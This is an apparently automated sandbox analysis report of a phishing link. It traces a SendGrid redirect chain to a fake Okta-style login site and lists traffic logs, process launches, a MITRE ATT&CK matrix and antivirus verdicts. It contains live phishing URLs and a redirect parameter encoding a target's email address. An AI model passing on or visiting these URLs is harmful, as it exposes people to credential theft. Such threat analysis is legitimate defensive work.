              Source: unknownNetwork traffic detected: HTTP traffic on port 49724 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49671 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49767 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49780 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49721 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49794 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49802 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49805
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49804
              Source: unknownNetwork traffic detected: HTTP traffic on port 49773 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49803
              Source: unknownNetwork traffic detected: HTTP traffic on port 49718 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49769
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49802
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49768
              Source: unknownNetwork traffic detected: HTTP traffic on port 49739 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49767
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49800
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49766
              Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49765
              Source: unknownNetwork traffic detected: HTTP traffic on port 49783 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49763
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49762
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49761
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49760
              Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49770 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49719 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49759
              Source: unknownNetwork traffic detected: HTTP traffic on port 49778 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49757
              Source: unknownNetwork traffic detected: HTTP traffic on port 49738 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49755
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49754
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49753
              Source: unknownNetwork traffic detected: HTTP traffic on port 49673 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49752
              Source: unknownNetwork traffic detected: HTTP traffic on port 49705 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49751
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49750
              Source: unknownNetwork traffic detected: HTTP traffic on port 49786 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49761 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49804 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49775 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49716 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49750 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49749
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49748
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
              Source: unknownNetwork traffic detected: HTTP traffic on port 49792 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
              Source: unknownHTTPS traffic detected: 167.89.123.53:443 -> 192.168.2.16:49699 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 167.89.123.53:443 -> 192.168.2.16:49700 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 167.89.123.53:443 -> 192.168.2.16:49701 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 54.88.141.1:443 -> 192.168.2.16:49705 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 186.209.113.142:443 -> 192.168.2.16:49707 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 172.217.18.4:443 -> 192.168.2.16:49715 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.20.250:443 -> 192.168.2.16:49718 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.20.250:443 -> 192.168.2.16:49717 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49720 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.16:49722 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49724 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.16:49723 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.16.3.189:443 -> 192.168.2.16:49726 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.16:49728 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.70.67:443 -> 192.168.2.16:49736 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.20.250:443 -> 192.168.2.16:49737 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 172.67.220.176:443 -> 192.168.2.16:49738 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.20.250:443 -> 192.168.2.16:49744 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.16:49754 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.16:49755 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.16:49756 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.16:49760 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 13.33.187.96:443 -> 192.168.2.16:49787 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.16:49791 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.16:49792 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.49.96:443 -> 192.168.2.16:49793 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.49.96:443 -> 192.168.2.16:49794 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49803 version: TLS 1.2
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\scoped_dir6888_1335294930
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile deleted: C:\Windows\SystemTemp\scoped_dir6888_1335294930
              Source: classification engineClassification label: mal100.phis.evad.win@24/36@46/275
              Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1772,i,1458038216598230931,9062299562271479782,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:3
              Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSjdhbZvMXBG-2Fbl-2F1JQalpy10ZBTpuDmJw8qtDG1RR-2FO-2Bzqy6Ryg-2BIXW6P-2FRmEE7JdIRaCncCouVLTVsWciZPEjkoHD7BDf7qzUctKE-2Fuov9RtCNiCQmJmwXCDa5dDgefQoLRKRDmR4vQ-3D-3DKnfO_4-2BCeSnTfNElQaOz0iIYXcY63TczAP34ghOtoTraLSwoOLAyQYuLOf75Ty99J50dacfCtsIK1GZvxQM45z1qBFZ9wseL0KuFhELugADtC7G-2Bvzzdi1qvZkAsCG7tQfhZagkro3woJV3MTqoQy1rs8sT0Ut5uYpsrniDcVKn6MJEnCWRsblRYyJRkv-2BYtQV-2BKUm1WYOzDqDkYxny3kQFWCbISNT8xpoE2o-2BIn1-2FK5Ue8M-3D"
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1772,i,1458038216598230931,9062299562271479782,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:3
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: Window RecorderWindow detected: More than 3 window changes detected

              Malware Analysis System Evasion

              barindex
              Yara detected AntiDebug via timestamp check
              Source: Yara matchFile source: 2.2.d.script.csv, type: HTML
              Source: Yara matchFile source: 3.13..script.csv, type: HTML
              Source: Yara matchFile source: 3.14..script.csv, type: HTML
              Source: Yara matchFile source: 3.4.pages.csv, type: HTML
              Source: Yara matchFile source: 3.5.pages.csv, type: HTML

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity Information1
              Scripting              		Valid AccountsWindows Management Instrumentation1
              Browser Extensions              		1
              Process Injection              		1
              Masquerading              		OS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local System1
              Encrypted Channel              		Exfiltration Over Other Network MediumAbuse Accessibility Features
              CredentialsDomainsDefault AccountsScheduled Task/Job1
              Scripting              		1
              Extra Window Memory Injection              		1
              Process Injection              		LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media4
              Non-Application Layer Protocol              		Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
              Deobfuscate/Decode Files or Information              		Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive5
              Application Layer Protocol              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
              File Deletion              		NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput Capture3
              Ingress Tool Transfer              		Traffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
              Extra Window Memory Injection              		LSA SecretsInternet Connection DiscoverySSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSjdhbZvMXBG-2Fbl-2F1JQalpy10ZBTpuDmJw8qtDG1RR-2FO-2Bzqy6Ryg-2BIXW6P-2FRmEE7JdIRaCncCouVLTVsWciZPEjkoHD7BDf7qzUctKE-2Fuov9RtCNiCQmJmwXCDa5dDgefQoLRKRDmR4vQ-3D-3DKnfO_4-2BCeSnTfNElQaOz0iIYXcY63TczAP34ghOtoTraLSwoOLAyQYuLOf75Ty99J50dacfCtsIK1GZvxQM45z1qBFZ9wseL0KuFhELugADtC7G-2Bvzzdi1qvZkAsCG7tQfhZagkro3woJV3MTqoQy1rs8sT0Ut5uYpsrniDcVKn6MJEnCWRsblRYyJRkv-2BYtQV-2BKUm1WYOzDqDkYxny3kQFWCbISNT8xpoE2o-2BIn1-2FK5Ue8M-3D0%Avira URL Cloudsafe

              Dropped Files

              ⊘No Antivirus matches

              Unpacked PE Files

              ⊘No Antivirus matches

              Domains

              ⊘No Antivirus matches

              URLs

              SourceDetectionScannerLabelLink
              https://cp.edison.tech/api/mailer/m/url?code=c06e5a047f4b46d286ff484bc2602c46&to=https://registrosaraquari.com.br/g63d/686989/Texanacenter/?nl=YnJpYW4uZ3VyYmFjaEB0ZXhhbmFjZW50ZXIuY29t0%Avira URL Cloudsafe
              https://rft.naturdon.com/iVYo/100%Avira URL Cloudphishing
              https://registrosaraquari.com.br/favicon.ico0%Avira URL Cloudsafe
              https://registrosaraquari.com.br/g63d/686989/Texanacenter/?nl=YnJpYW4uZ3VyYmFjaEB0ZXhhbmFjZW50ZXIuY29t0%Avira URL Cloudsafe
              https://registrosaraquari.com.br/0/index.xslt0%Avira URL Cloudsafe
              https://a.nel.cloudflare.com/report/v4?s=zlJWWlAJxfgQRzsXrhIAXMacsQvkqtF5Ns3DnawCh21t1wOmr2x%2FK0H82EMB2zKoBH51RZonfT%2BnEW9AdjiniB8qMGM6Kr0SpUiu6Q5LEQ42Qu%2F2EvoupvqkJHDC0%Avira URL Cloudsafe
              https://rft.naturdon.com/xyosxLBk4yon8qRTsmel9wgW7a2Lt2JU1ZXRfw100%Avira URL Cloudphishing
              https://9d0wc.jnfemo.ru/pani!a5uhbp0%Avira URL Cloudsafe
              https://rft.naturdon.com/taKIYA02gqszDpuhNW5gHAUNgMqo100%Avira URL Cloudphishing
              https://rft.naturdon.com/bcq9PU8gOPhcXwMY3MInh6fvEUmeuYy6piCOF8yFeQiPDLM9K1gBC8tqCxo1E3M7mo5dhDusdL8AxbH85jh54EklZYN7HwkIQvYMfgnz2npRrtDzVuxT18G34BaLy44aLJOl45wa5Pcd670100%Avira URL Cloudphishing
              https://rft.naturdon.com/wx1lfn8lc0EFfs4mS49GKwWjftrdGRsTZrs301Ar5RcEFM7ud9hEuB5NWcqnRab176100%Avira URL Cloudphishing
              https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t70%Avira URL Cloudsafe
              https://rodwiy1jurevg6zwutcukkmwcadr7cqmxxcychioypf3tx55yuqbvspm9h.amayaxw.es/527545368042699394148kDaAOIILBdLBNLIALVQSOCFKHCELKKWYWRIGSZEXNNrsz2CiQJLi34FjzXQJpuv400%Avira URL Cloudsafe
              https://rft.naturdon.com/klfKSUW4h4SIph0P6yrnQG1Nt2rzThqQo2ba6oKozc4I6AiIoptSSBRYnqI0B77dZSxazhbtWBRab221100%Avira URL Cloudphishing
              https://rft.naturdon.com/GDSherpa-bold.woff100%Avira URL Cloudphishing
              https://rft.naturdon.com/uvCrkdS4sVQLblK9iUyXZWTOZI5Dc45gWlMwUwXcVQ5HVhV0E2h4h3gJx71q60gh260100%Avira URL Cloudphishing
              https://rft.naturdon.com/GDSherpa-regular.woff2100%Avira URL Cloudphishing
              https://rft.naturdon.com/xymUqoRpqdeAef30100%Avira URL Cloudphishing
              https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css0%Avira URL Cloudsafe
              https://rft.naturdon.com/opkmv1QBWy5HuyxZJI5Cg5CDMC4Bj2jXZcl7dzghirqCw8Vp0H6SYkfkWBBVpcX2ef196100%Avira URL Cloudphishing
              https://rft.naturdon.com/5689EGsgt7WhYocxyMxT56718100%Avira URL Cloudphishing
              https://rft.naturdon.com/favicon.ico100%Avira URL Cloudphishing
              https://rft.naturdon.com/GDSherpa-vf2.woff2100%Avira URL Cloudphishing
              https://rft.naturdon.com/GDSherpa-bold.woff2100%Avira URL Cloudphishing
              https://rft.naturdon.com/opVP3rfXGJ5bZgUzKMghOMzgDiUi9yP8TMZ0NrYAZL67140100%Avira URL Cloudphishing
              https://rft.naturdon.com/klw0MWVCCCfjzbu3qhSfOHiFVdyzK5NKZ1JyeafAXi3Uv56163100%Avira URL Cloudphishing
              https://rft.naturdon.com/ghSXEQ1jgBW3V9P7wMkvy4klITPIyt6UpoJRIqdxbMFS12207100%Avira URL Cloudphishing
              https://rft.naturdon.com/GDSherpa-regular.woff100%Avira URL Cloudphishing
              https://rft.naturdon.com/ijHRyxlFrBBK9WsNrsle305J2IEt3f5AIzhQ0XYDQgR9ASa0bhpUWTy1Qpq6NE0TfiRkANAoHaO0ImUi9ROZv0PuACwKjFkEZ7S1UiHoFoVwNvx0ho34zw6o9H8YMwGDT3a8V9Tyz660100%Avira URL Cloudphishing
              https://rft.naturdon.com/wxos0x516c9i2j2vcqm7bsDy0fwzHbSopUF4ljm9RfToW7LRFjix12130100%Avira URL Cloudphishing
              https://get.geojs.io/v1/ip/geo.json0%Avira URL Cloudsafe
              https://rft.naturdon.com/mnNnvbueihu6r9rho0oBMMCuvwTXQG8kyViZolZYXb7n90148100%Avira URL Cloudphishing
              https://rft.naturdon.com/op75mQqx1n2Dk3yrHQCNx1pqg7GvFntHLN6ll12AfFPJ5mvcT8IqHATcRSjK27Gmk5jeRX4bkoQvcd237100%Avira URL Cloudphishing
              https://rft.naturdon.com/GDSherpa-vf.woff2100%Avira URL Cloudphishing
              https://a.nel.cloudflare.com/report/v4?s=C70JJCw1mT2aURmz5zQniHTAQ36mtfRx%2Bt%2BWc8vknMxBfXCBR9jvWcPnbO3nz6soPaYvcx6OCNouYx7mOjvpALBibEXSk%2FC0ZrOfH%2FNwDawxi7Czrj%2FLxuOC0ueP0%Avira URL Cloudsafe
              https://a.nel.cloudflare.com/report/v4?s=7f4OGbVRU%2BKweoJpV8V2zXlRrSkyR95zB8xwYeGc3ToMzftQfpnE31WE6h%2BCpJgfpy1mmCK42WgTIlkJtIyXDv4sdwuGAupwLTYWdlNuH8vJg4IEJA2D9Yez%2FR4%2F0%Avira URL Cloudsafe

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              a.nel.cloudflare.com
              		35.190.80.1
              		truefalse
                		high
                developers.cloudflare.com
                		104.16.3.189
                		truefalse
                  		high
                  github.com
                  		140.82.121.3
                  		truefalse
                    		high
                    u17065553.ct.sendgrid.net
                    		167.89.123.53
                    		truefalse
                      		unknown
                      9d0wc.jnfemo.ru
                      		104.21.70.67
                      		truefalse
                        		unknown
                        rodwiy1jurevg6zwutcukkmwcadr7cqmxxcychioypf3tx55yuqbvspm9h.amayaxw.es
                        		104.21.49.96
                        		truefalse
                          		unknown
                          code.jquery.com
                          		151.101.194.137
                          		truefalse
                            		high
                            cp.edison.tech
                            		54.88.141.1
                            		truefalse
                              		unknown
                              cdnjs.cloudflare.com
                              		104.17.24.14
                              		truefalse
                                		high
                                challenges.cloudflare.com
                                		104.18.95.41
                                		truefalse
                                  		high
                                  get.geojs.io
                                  		172.67.70.233
                                  		truefalse
                                    		high
                                    www.google.com
                                    		172.217.18.4
                                    		truefalse
                                      		high
                                      d19d360lklgih4.cloudfront.net
                                      		13.33.187.14
                                      		truefalse
                                        		high
                                        registrosaraquari.com.br
                                        		186.209.113.142
                                        		truefalse
                                          		unknown
                                          rft.naturdon.com
                                          		104.21.20.250
                                          		truetrue
                                            		unknown
                                            objects.githubusercontent.com
                                            		185.199.108.133
                                            		truefalse
                                              		high
                                              ok4static.oktacdn.com
                                              		unknown
                                              		unknownfalse
                                                		high

                                                Contacted URLs

                                                NameMaliciousAntivirus DetectionReputation
                                                https://cp.edison.tech/api/mailer/m/url?code=c06e5a047f4b46d286ff484bc2602c46&to=https://registrosaraquari.com.br/g63d/686989/Texanacenter/?nl=YnJpYW4uZ3VyYmFjaEB0ZXhhbmFjZW50ZXIuY29tfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                https://rft.naturdon.com/bcq9PU8gOPhcXwMY3MInh6fvEUmeuYy6piCOF8yFeQiPDLM9K1gBC8tqCxo1E3M7mo5dhDusdL8AxbH85jh54EklZYN7HwkIQvYMfgnz2npRrtDzVuxT18G34BaLy44aLJOl45wa5Pcd670true
                                                • Avira URL Cloud: phishing
                                                		unknown
                                                https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7false
                                                • Avira URL Cloud: safe
                                                		unknown
                                                https://rft.naturdon.com/iVYo/true
                                                • Avira URL Cloud: phishing
                                                		unknown
                                                https://rft.naturdon.com/wx1lfn8lc0EFfs4mS49GKwWjftrdGRsTZrs301Ar5RcEFM7ud9hEuB5NWcqnRab176true
                                                • Avira URL Cloud: phishing
                                                		unknown
                                                https://code.jquery.com/jquery-3.6.0.min.jsfalse
                                                  		high
                                                  https://rft.naturdon.com/klfKSUW4h4SIph0P6yrnQG1Nt2rzThqQo2ba6oKozc4I6AiIoptSSBRYnqI0B77dZSxazhbtWBRab221true
                                                  • Avira URL Cloud: phishing
                                                  		unknown
                                                  https://rft.naturdon.com/uvCrkdS4sVQLblK9iUyXZWTOZI5Dc45gWlMwUwXcVQ5HVhV0E2h4h3gJx71q60gh260true
                                                  • Avira URL Cloud: phishing
                                                  		unknown
                                                  https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.jsfalse
                                                    		high
                                                    https://rft.naturdon.com/GDSherpa-bold.wofftrue
                                                    • Avira URL Cloud: phishing
                                                    		unknown
                                                    https://rft.naturdon.com/xymUqoRpqdeAef30true
                                                    • Avira URL Cloud: phishing
                                                    		unknown
                                                    https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDtrue
                                                      		unknown
                                                      https://rft.naturdon.com/xyosxLBk4yon8qRTsmel9wgW7a2Lt2JU1ZXRfwtrue
                                                      • Avira URL Cloud: phishing
                                                      		unknown
                                                      https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.cssfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://9d0wc.jnfemo.ru/pani!a5uhbpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://rodwiy1jurevg6zwutcukkmwcadr7cqmxxcychioypf3tx55yuqbvspm9h.amayaxw.es/527545368042699394148kDaAOIILBdLBNLIALVQSOCFKHCELKKWYWRIGSZEXNNrsz2CiQJLi34FjzXQJpuv40false
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://rft.naturdon.com/GDSherpa-regular.woff2true
                                                      • Avira URL Cloud: phishing
                                                      		unknown
                                                      https://rft.naturdon.com/opkmv1QBWy5HuyxZJI5Cg5CDMC4Bj2jXZcl7dzghirqCw8Vp0H6SYkfkWBBVpcX2ef196true
                                                      • Avira URL Cloud: phishing
                                                      		unknown
                                                      https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallbackfalse
                                                        		high
                                                        https://a.nel.cloudflare.com/report/v4?s=C70JJCw1mT2aURmz5zQniHTAQ36mtfRx%2Bt%2BWc8vknMxBfXCBR9jvWcPnbO3nz6soPaYvcx6OCNouYx7mOjvpALBibEXSk%2FC0ZrOfH%2FNwDawxi7Czrj%2FLxuOC0uePfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://rft.naturdon.com/5689EGsgt7WhYocxyMxT56718true
                                                        • Avira URL Cloud: phishing
                                                        		unknown
                                                        https://rft.naturdon.com/GDSherpa-vf2.woff2true
                                                        • Avira URL Cloud: phishing
                                                        		unknown
                                                        https://rft.naturdon.com/taKIYA02gqszDpuhNW5gHAUNgMqotrue
                                                        • Avira URL Cloud: phishing
                                                        		unknown
                                                        https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.cssfalse
                                                          		high
                                                          https://registrosaraquari.com.br/favicon.icofalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          https://rft.naturdon.com/favicon.icotrue
                                                          • Avira URL Cloud: phishing
                                                          		unknown
                                                          https://registrosaraquari.com.br/0/index.xml?nl=YnJpYW4uZ3VyYmFjaEB0ZXhhbmFjZW50ZXIuY29tfalse
                                                            		unknown
                                                            https://a.nel.cloudflare.com/report/v4?s=zlJWWlAJxfgQRzsXrhIAXMacsQvkqtF5Ns3DnawCh21t1wOmr2x%2FK0H82EMB2zKoBH51RZonfT%2BnEW9AdjiniB8qMGM6Kr0SpUiu6Q5LEQ42Qu%2F2EvoupvqkJHDCfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            https://rft.naturdon.com/opVP3rfXGJ5bZgUzKMghOMzgDiUi9yP8TMZ0NrYAZL67140true
                                                            • Avira URL Cloud: phishing
                                                            		unknown
                                                            https://rft.naturdon.com/ghSXEQ1jgBW3V9P7wMkvy4klITPIyt6UpoJRIqdxbMFS12207true
                                                            • Avira URL Cloud: phishing
                                                            		unknown
                                                            https://developers.cloudflare.com/favicon.pngfalse
                                                              		high
                                                              https://rft.naturdon.com/klw0MWVCCCfjzbu3qhSfOHiFVdyzK5NKZ1JyeafAXi3Uv56163true
                                                              • Avira URL Cloud: phishing
                                                              		unknown
                                                              https://a.nel.cloudflare.com/report/v4?s=7f4OGbVRU%2BKweoJpV8V2zXlRrSkyR95zB8xwYeGc3ToMzftQfpnE31WE6h%2BCpJgfpy1mmCK42WgTIlkJtIyXDv4sdwuGAupwLTYWdlNuH8vJg4IEJA2D9Yez%2FR4%2Ffalse
                                                              • Avira URL Cloud: safe
                                                              		unknown
                                                              https://rft.naturdon.com/GDSherpa-bold.woff2true
                                                              • Avira URL Cloud: phishing
                                                              		unknown
                                                              https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.jsfalse
                                                                		high
                                                                https://rft.naturdon.com/GDSherpa-regular.wofftrue
                                                                • Avira URL Cloud: phishing
                                                                		unknown
                                                                https://rft.naturdon.com/ijHRyxlFrBBK9WsNrsle305J2IEt3f5AIzhQ0XYDQgR9ASa0bhpUWTy1Qpq6NE0TfiRkANAoHaO0ImUi9ROZv0PuACwKjFkEZ7S1UiHoFoVwNvx0ho34zw6o9H8YMwGDT3a8V9Tyz660true
                                                                • Avira URL Cloud: phishing
                                                                		unknown
                                                                https://registrosaraquari.com.br/g63d/686989/Texanacenter/?nl=YnJpYW4uZ3VyYmFjaEB0ZXhhbmFjZW50ZXIuY29tfalse
                                                                • Avira URL Cloud: safe
                                                                		unknown
                                                                https://registrosaraquari.com.br/0/index.xsltfalse
                                                                • Avira URL Cloud: safe
                                                                		unknown
                                                                https://get.geojs.io/v1/ip/geo.jsonfalse
                                                                • Avira URL Cloud: safe
                                                                		unknown
                                                                https://rft.naturdon.com/wxos0x516c9i2j2vcqm7bsDy0fwzHbSopUF4ljm9RfToW7LRFjix12130true
                                                                • Avira URL Cloud: phishing
                                                                		unknown
